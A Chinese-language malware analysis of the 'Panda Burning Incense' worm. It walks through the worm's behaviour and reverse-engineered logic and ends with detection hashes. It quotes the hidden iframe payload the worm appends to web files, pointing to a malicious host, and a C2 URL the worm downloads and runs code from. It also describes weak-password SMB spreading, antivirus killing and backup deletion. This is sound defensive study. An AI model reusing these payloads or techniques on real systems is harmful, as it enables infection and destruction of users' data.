背景介绍:
“熊猫烧香”,是由李俊制作并肆虐网络的一款电脑病毒,熊猫烧香是一款拥有自动传播、自动感染硬盘能力和强大的破坏能力的病毒,它不但能感染系统中exe,com,pif,src,html,asp等文件,它还能终止大量的反病毒软件进程并且会删除扩展名为gho的文件(该类文件是一系统备份工具“GHOST”的备份文件,删除后会使用户的系统备份文件丢失)。
被感染的用户系统中所有exe可执行文件全部被改成熊猫举着三根香的模样。2006年10月16日由25岁的湖北武汉李俊编写,2007年1月初肆虐网络,它主要通过下载的文件传染传播。2006-2007年,“熊猫烧香”可谓是轰动一时。时隔多年,当我们回过头再次来看该事件,“熊猫烧香”的破坏力远大于其技术含量,尤其是对网络信息安全产生深远的影响,毕竟它是第一个让中国普通用户对木马病毒有所认识和感知的。现在从技术角度来看,熊猫烧香病毒技术水平一般,但病毒作者在当时运用的各类技术手法还是值得安全人参考和借鉴的。
主要行为简述:
1)感染全盘二进制文件(exe、src、PIF、com)、脚本文件(htm、html、asp、php、jsp、aspx)
2)添加spo0lsv.exe到注册表自启动项HKCU\~\Run
3)修改注册表CheckedValue=1强制系统隐藏文件不显示
4)局域网内横向传播,尝试弱口令登录
5)连接恶意C2下载数据并隐藏执行
6)关闭杀软、删除杀软服务、删除杀软自启动项
7)禁用注册表、任务管理器等系统管理软件
8)释放自启动脚本autorun.inf和setup.exe,每隔6执行
9)全盘全目录写入Desktop_.ini并写入感染日期
具体流程:
分析环境:
吾爱破解OD,IDA Pro v6.8,winXP,Process Monitor
中毒后基本表现:
在运行病毒后,首先发现任务管理器打开后迅速闪退
autorun.inf文件的作用是允许在双击磁盘时自动运行指定的某个文件,即运行Setup.exe(它的安装程序)。
部分文件路径下有Desktop.ini
经过一段时间的感染,exe会被感染
行为分析:
使用Process Monitor工具对其行为进行分析
创建一个检测器,重点记录panda.exe的行为:
查看进程树可得到:
首先的动作是打开了在C:\WINDOWS\system32\drivers目录下的spoclsv.exe,由这个程序打开了两次cmd,执行了删除C盘和系统根目录的共享文件夹
筛选出它对注册表项的修改
仅有一项:与生成随机数种子的注册表项相关
下面看看是否有对文件的操作:
在其创建的文件中发现了我们在进程树中找到的“spoclsv.exe”
想知道这个spoclsv.exe干了什么:
设置筛选器:
也是从注册表项开始,观察到它删除了很多东西,我们筛选一下删除,发现:
它删除了杀毒软件在注册表内自启动项
然后我们再看看它创建了哪些注册表:
首先可以找到一个自启动项,详细信息中可以明确看到就是我们现在研究的spoclsv.exe的这个程序:
接下来在隐藏键值中设置了两个隐藏项,这两个隐藏项即便是设置文件夹为“现实所有隐藏文件”也不能显示出来
下面来看看对文件的操作:
在C盘下创建了setup.exe和autorm.inf两个文件:
同时发现一个现象,在刚刚执行完这个病毒的开始阶段,打开C盘部分文件为半透明,而之后我修改了文件夹选项:
然后C盘的哪些半透明文件透明了,应该是做了隐藏,并且,无论我是否在显示文件夹点击应用,在重新打开文件夹选项的面板时,都会自动改回:
而在未感染情况下,默认一直为显示所有文件夹
之后我们观察网络行为:发现以局域网内探测为主,但是也有外部IP,并且已经发出
逆向分析:
首先确定程序并未带壳:
依据动态分析得出以下逻辑:
这段代码是程序的起始位置,进行了两次解密和字符串比较,“xboy”和“whboy”是两个密钥
使用密钥对特定的字符串进行解密之后,与原本的感言相对比,若不匹配则退出程序:
在检查之后就进到了本程序的三个主体模块:
第一个模块:
其会先调用GetFilePathAndName( )函数获得程序完整路径,然后在完整路径的基础上去掉程序名得到一个字符串后与Desktep.ini连接(也就是检查目录下是否有Desktop.ini)。并通过CheckFileExist( )函数寻找此文件。如果找到了,则调用SetFileAttributesA函数来将文件属性改为0x80H,也就是normal(正常)属性,之后在sleep了一毫秒后,会将Desktop.ini删掉,正常来说病毒没有运行时,该文件是不存在的。没找到就跳过继续执行。
比对当前运行的是不是drivers目录下的spoclsv.exe,是则看看进程中有没有别的spoclsv.exe并杀掉(这里的理解是杀掉其它名称为spoclsv.exe的程序)
程序会会获取系统路径并与drivers和spcolsv.exe连接成路径并于程序自身路径比较看是否相等,相等则会跳转。若不相等则会调用CopyFile()函数把自身复制一份到系统路径的drivers文件夹下,并命名为spcolsv.exe. 创建完之后程序会调用WinExec( )运行此程序,并结束进程。
panda.exe主要是为了在系统目录的driver文件夹下创建病毒的真正执行体spcolsv.exe文件并运行它。实际上两个exe文件是一样的,只不过会根据自身的路径和名称进行判断,来决定程序的具体执行流程。
第二个模块:
主要调了三个函数
第一个函数创建了一个线程
在线程中,发现其调用了GetDriveType( )函数,在动态调试中我们发现其会从A遍历到Z盘,把存在的盘符保存
在线程中接着会把存在的盘符与“:\”连接在一起,并与“*.*”连接后,调用FindFirstFile( )寻找任意文件,如果找不到文件就跳转结束。
同时它还会获取文件后缀,然后与“GHO”做比较,如果后缀等于“GHO”的文件统统调用DeleteFile( )删除.(GHO文件时系统备份文件,其是防止系统恢复)
若后缀是htm、html、asp、php、jsp、aspx的文件将字符串(\<iframe src=http://www.krvkr.com/worm.htm width=0 height=0>\</iframe>)添加到文件末尾,尝试加载一个指定URL的网页。
同时它还会获取文件后缀,同样当发现“exe、scr、pif、com”这一类文件,会先拍摄进程快照去寻找待感染的文件是否运行,如果已运行则放弃感染。接着其会把寻找的到的exe文件读到内存中,并且设置文件属性。判断感染程序是否有WhBoy字符,有就说明被感染了。然后会将正在运行的病毒样本文件复制为待感染的exe文件。这样一来现在此exe文件现在就是病毒文件了。
第二个函数
创建一个定时器每隔6000MS启动一次0x40BB5C函数
判断盘符根目录setup.exe、aoturun.inf文件是否存在,不存在就创建
第三个函数
TCP客户端建立,当病毒发现能成功联接攻击目标的139或445端口后,匹配管理员弱密码,连接成功复制自身病启动激活病毒。
(139端口是用于NetBIOS会话服务,它提供了对网络上的共享资源的访问和管理。445端口是用于SMB协议的文件共享服务提供远程执行命令和管理网络资源。
这两个端口通常与Windows操作系统相关,用于网络共享和文件传输等功能。)
第三个模块:
主要功能就是设置了4个计时器。通过四个计时器回调函数来完成具体的功能
第一个计时器首先创建了一个线程,该线程干了三件事:
- 设置特权
2.遍历杀毒软件并关闭(一秒触发一次)
3.关闭任务管理器等一些程序
并且调用“RegCreatekeyExA()---->RegSetValaueExA%20%20%20%20---->%20%20%20
RegCloseKey()”来设置两个启动项:
第一个是用来在开机时自动启动病毒。另一个是设置使用户无法查看隐藏文件:
第二个计时器(二十分钟触发一次)是从http://wangma.9966.org/down.txt网站读取到网页源代码并且运行代码
第三个计时器(10秒触发一次)用cmd命令来删除共享文件
第四个计时器(6秒启动一次)删除服务、删除安全软件相关启动项
防御手段:
1.提取病毒特征,交给杀毒软件查杀
MD5特征: 512301C535C88255C9A252FDF70B7A03
SHA1值: CA3A1070CFF311C0BA40AB60A8FE3266CFEFE870
CRC32: E334747C
感染特征: 文件名最后有感染标识字符串"WhBoy + 原文件名 + .exe + 02 + 文件大小 + 01"
总结:
熊猫烧香病毒还是比较全面的,对被感染主机作了大量的修改操作,在感染文件的同时,还有自我保护,持续化的功能,开启了多线程操作,加上计时器实现实时感染,并带有下载恶意代码执行,定时自更新,同时开启了十条线程作来进行局域网内的传播扩散,也表现了蠕虫病毒极强的传播性,而修复的手段只能是恢复感染文件,清理干净恶意病毒文件,删除启动项,否则一不小心就死灰复燃。
同时,因为是一个多线程的程序,并设置了多个计时器,在调式的过程中还是遇到了一些问题的,断不下来下来,跑飞等问题,经过多次尝试,也找到了些方法,在回调函数多下几个断点,设置线程空闲,修改源代码去除干扰等,这次就是在分析某个线程操作时,就把其他操作代码nop掉,专心分析特定操作。总的还是收获很大,逆向需要耐心。